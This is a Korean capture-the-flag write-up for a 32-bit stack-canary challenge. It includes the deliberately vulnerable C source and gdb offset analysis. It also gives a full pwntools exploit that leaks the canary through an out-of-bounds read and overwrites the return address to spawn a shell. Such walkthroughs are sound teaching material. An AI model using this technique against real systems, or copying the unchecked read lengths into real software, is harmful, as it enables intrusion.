32bit 바이너리이며, NX하고 Canary가 걸려있다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
코드를 보면 다음과 같다
gdb로 분석해보자.
main함수에서 메뉴 F, P, E로 넘어가는 분기점이다.
위에서부터 각각 F, P, E 순서대로다.
메뉴 F에서 box안에 값을 입력받는 부분이다.
입력한 값이 ebp-0x88에 들어가는 것을 볼 수 있다.
따라서 box부터 canary까지의 거리는 0x80byte(0x88-0x8)이다.
메뉴 E에서 Name을 입력받는 부분이다.
Name은 ebp-0x48에 위치하고 있다.
따라서 Name부터 canary까지의 거리는 0x40byte이다.
실제로 함수 P에서 인덱스 값을 canary위치에 맞게 넣어주면 1byte씩 추출할 수 있다.
마지막으로 payload를 작성할 수 있으며 이를 메뉴 E에서 Name에 넣어주면 된다.
dummy(0x40) + canary(4byte) + dummy(4byte) + sfp(4byte) + return address(get_shell())
exploit 코드는 다음과 같다.
from pwn import *
p = remote('host3.dreamhack.games', 18839)
get_shell = 0x80486b9
buf2cnry = 0x80
name2cnry = 0x40
canary = '0x'
p.sendlineafter('> ', 'F')
p.sendlineafter('box input : ', 'AAAABBBBCCCCDDDD')
for i in range(4):
p.sendlineafter('> ', 'P')
p.sendlineafter('Element index : ', str(buf2cnry+(3-i)))
p.recvuntil('is : ')
canary += p.recv(2)
canary = int(canary,16)
payload = ''
payload += 'A'*name2cnry
payload += p32(canary)
payload += 'B'*8
payload += p32(get_shell)
p.sendlineafter('> ', 'E')
p.sendlineafter('Name Size : ', '10000')
p.sendlineafter('Name : ', payload)
p.interactive()